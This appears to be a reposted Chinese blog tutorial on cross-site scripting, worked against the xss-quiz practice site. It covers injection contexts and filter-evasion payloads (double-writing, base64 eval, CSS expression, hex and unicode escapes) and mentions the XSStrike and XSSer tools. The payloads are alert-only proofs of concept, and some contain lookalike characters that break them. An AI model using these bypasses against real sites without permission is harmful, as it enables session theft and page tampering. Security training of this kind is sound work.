XSS(跨站脚本攻击)小结(转)

靶机地址:https://xss-quiz.int21h.jp/
在这里插入图片描述

XSS漏洞发现:

设置独一无二字符串提交,在响应中查找。

定义和用法

onmouseover 属性在鼠标指针移动到元素上时触发。
注释:onmouseover 属性不适用以下元素:

 <base><bdo><br><head><html><iframe><meta><param><script><style><title>

1、标签属性中XSS

例如:<input type="text" name="p1" size="50" value="111"> 其中111为用户输入,input标签、value属性
1)闭合属性,闭合标签,引入script脚本或者svg标签。例如:

"><script>alert(document.domain);</script> 
"><svg onload=alert(document.domain)>%0a 
"><svg/onload=alert(document.domain)>%0a

2)闭合属性,引入事件,闭合标签。例如:

" οnmοuseοver="alert(document.domain)"> 
" οnmοuseοver="alert(document.domain) 
或者使用onclick事件

2、文本区域中

例如:<b>1111</b> 其中1111为用户输入
闭合文本标签,引入script脚本。例如:

</b><script>alert(document.domain);</script>

3、HTML表单隐藏参数介绍

隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。

代码格式:包含在表单当中,且格式

<input type="hidden" name="..." value="...">

使用burpsuite抓包可查看到表单提交上关于隐藏域的名称和值
HTML中svg介绍:svg意为可缩放矢量图形,svg使用XML格式定义图像。svg文件可通过以下标签嵌入HTML文档中:

<embed><object>或者<iframe>。也可以使用<svg>标签插入。

闭合:

1)svg标签。闭合属性,闭合标签,引入svg标签
(在script被过滤或<>被转义时):

"><svg onload=alert(document.domain)>%0a 
"><svg/onload=alert(document.domain)>%0a

2)闭合属性,闭合标签,引入script脚本

"><script>alert(document.domain);</script>

4、空格分隔属性的XSS

例如:

<input type="text" name="p1" size="50" value="111"> 用户输入111
<input type="text" name="p1" size="50" value="111" 111> 用户输入111 111
<input type="text" name="p1" size="50" value="111" 222="111"> 用户输入111 222=111

1)触发XSS,引入属性,输入:
111 οnclick=alert(document.domain);

5、javascript伪协议触发的XSS

javascript伪协议介绍:将javascript代码添加到客户端的方法时把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码含多个语句,必须使用分号将这些语句分隔开。

javascript:var now=new Date(); "<h1>The time is:</h1>" + now;

javascript URL还可以含有只执行操作,但不返回值的javascript语句。

javascript:alert("hello world!")

a链接标签属性href介绍:

<a>标签定义超链接,用于从一个页面链接到另一个页面。
<a>元素最重要的属性是href属性,它指定链接的目标。
在所有浏览器中,链接的默认外观如下:
未被访问的链接带有下划线而且是蓝色的
已被访问的链接带有下划线而且是紫色的
活动链接带有下划线而且是红色的

构造payload触发XSS:

<a href="111111"> 111111为用户输入
payload:javascript:alert(document.domain)

绕过:

6、绕过过滤domain为空的XSS

绕过思考:
1、寻找过滤内容
输入"><script>alert(document.domain)</script> 在页面元素中发现<script>alert(document.)</script> ,过滤掉了domain
2、思考绕过策略:双写绕过和编码绕过
双写绕过:payload :

"><script>alert(document.dodomainmain)</script>

编码绕过:
payload:

"><script>eval(atob('base64加密alert(document.domain)后的值'));</script> 

其中atob是将base64加密后的数据转换为字符串

7、绕过替换script和on事件的XSS

绕过思考:
1、寻找过滤内容
2、思考绕过策略:
伪协议绕过:payload:

 "><a href="javascript=alert(document.domain)">xss</a>

空格绕过:payload:

"><a href="javascr ipt=alert(document.domain)">xss</a>

8、利用IE特性绕过XSS过滤

基本XSS利用:HTML事件触发XSS、闭合input标签,利用外部标签触发XSS
当过滤"和><时,可利用IE浏览器的特性,IE中两个反引号可以关闭左边一个双引号
payload: `` οnmοuseοver=alert(document.domain)

9、利用CSS特性绕过XSS(IE低版本浏览器)

基本XSS利用:HTML事件触发XSS、闭合input标签,利用外部标签触发XSS
基本XSS利用无法生效时,可考虑此方法。
CSS特性讲解
background:url(“javascript:alert(document.domain);”); 设置背景颜色
设置background:url,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已不再支持。
payload:

background-color:#f00;background:url(javascript:alert(document.domain););

10、IE中利用CSS触发XSS

CSS介绍:层叠样式表是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准的通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态的修饰网页,还可以配合
各种脚本语言动态地对网页各元素进行格式化。
CSS中执行js:
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到
支持,后因标准、性能、安全性等问题,微软从IE8 Beta2标准模式开始,取消对css expression的支持
实际应用
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等。当然这些效果能够使用js来实现。
虽然css表达式问题很多,但是我们依然能够在网站上看到它的影子,甚至在一些成熟的商业网站上。最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)

注释绕过关键字过滤:

CSS中的注释/**/
绕过对关键字expression的过滤: ex/**/pression
payload触发XSS:

xss:ex/**/pression(if(!window.x){alert(document.domain);window.x=1;})

11、16进制绕过过滤触发XSS

16进制介绍:十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F 16个大小不同的数,即逢16进1,其中用A、B、C、D、E、F(字母不区分大小写)这六个字母分别来表示10、11、12、13、14、15.
使用python将字符转换为16进制类型:

import binascii
print("\\x" + binascii.b2a_hex(s))

双斜杠+16进制绕过:
输出点<>被转义后构造的双斜杠+16进制绕过的payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

12、unicode绕过过滤触发XSS

unicode介绍:unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。unicode是为了解决传统的字符编码方案的局限而产生的。它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
使用Python将字符转换为unicode类型:

import binascii
print ("\\u0" +binascii.b2a_hex("<"))

输出点<>被转义后构造的双斜杠+unicode编码绕过的payload:\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

自动化工具XSS漏洞挖掘工具:

xsser是一款用于针对Web应用程序自动化挖掘、利用、报告xss漏洞的框架。

XSS_Fuzzing工具:

XSStrike是一款检测Cross Site Scripting的高级检测工具。它继承了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个
解析器分析响应,然后通过与模糊引擎继承的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
项目地址:https://github.com/s0md3v/XSStrike
XSS工具安装:XSStrike只可以运行在python 3.6以上版本。

用法参考:
https://www.cnblogs.com/-chenxs/p/12329506.html
https://blog.csdn.net/lady_killer9/article/details/109105084
https://blog.csdn.net/lady_killer9/article/details/109296718

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值